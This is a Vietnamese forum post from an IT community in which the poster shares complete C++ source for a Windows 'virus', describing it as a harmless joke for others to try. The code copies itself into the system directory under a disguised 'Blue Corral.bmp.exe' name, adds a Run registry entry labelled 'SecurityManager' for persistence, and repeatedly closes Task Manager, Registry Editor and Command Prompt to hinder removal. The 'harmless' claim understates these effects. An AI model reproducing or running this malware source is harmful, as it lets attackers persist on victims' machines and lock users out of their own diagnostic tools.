itprofes
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

C++ source virus củ chuối

Go down

C++ source virus củ chuối Empty C++ source virus củ chuối

Bài gửi  admin 1/4/2010, 2:03 pm

hihi,con này nhìn cũng đơn giản nhưng hơi chuối nải,anh em thử thưởng thức xem nhé( ko có gì nguy hiểm đâu Very Happy,chỉ hơi buồn cười thoai

Code:
#include
 "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
     
                                HINSTANCE hPrevInstance,
         
                            LPSTR    lpCmdLine,
                   
                    int      nCmdShow)
{
    HKEY hKey;
   
char sd[255];
    char path[MAX_PATH];
    int Freq = 0;
   
int Duration = 100;
    bool Forwards = true;
    bool Backwards =
 false;
    int timer = 0;
    HWND hWin;
    HMODULE GetModH =
 GetModuleHandle(0);
    GetModuleFileName(GetModH, path, 256);
 
     
    GetSystemDirectory(sd,255);
       
   
strcat(sd,"\\Blue Corral.bmp.exe");
    CopyFile(path,sd,FALSE);
 
  unsigned char PathToFile[20] = "Blue Corral.bmp.exe";
       
 
  RegOpenKeyEx(
HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
 );
    RegSetValueEx(hKey,
"SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
         
      RegCloseKey(hKey);
       
    while(1==1)
        {
 
             
                hWin = FindWindow(NULL,"Windows Task
Manager");
               
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
               
 
              hWin = FindWindow(NULL,"Registry Editor");
         
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
               
 
              hWin = FindWindow(NULL,"Command Prompt");
           
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
               
 
              hWin = FindWindow(NULL,"Close Program");
           
  SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
               
 
              if(Backwards==true)
                {
           
          Beep(Freq,Duration);
                        Freq = Freq -
 100;
                        timer = timer - 1;
                }
 
              if (timer == 0)
                {
               
      Backwards = false;
                        Forwards = true;
 
              }
               
                if (timer == 30)
 
              {
                        Backwards = true;
     
                Forwards = false;
                }
           
  if(Forwards==true)
                {
                       
Beep(Freq,Duration);
                        Freq = Freq + 100;
 
                      timer = timer + 1;
                }
     
 }
    return 0;
}
admin
admin
Thiếu Úy III
Thiếu Úy III

Tổng số bài gửi : 627
Diem : 6557
Thank : 4
Join date : 24/03/2010
Đến từ : Bỉm Sơn - Thanh hóa

https://itprofes.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết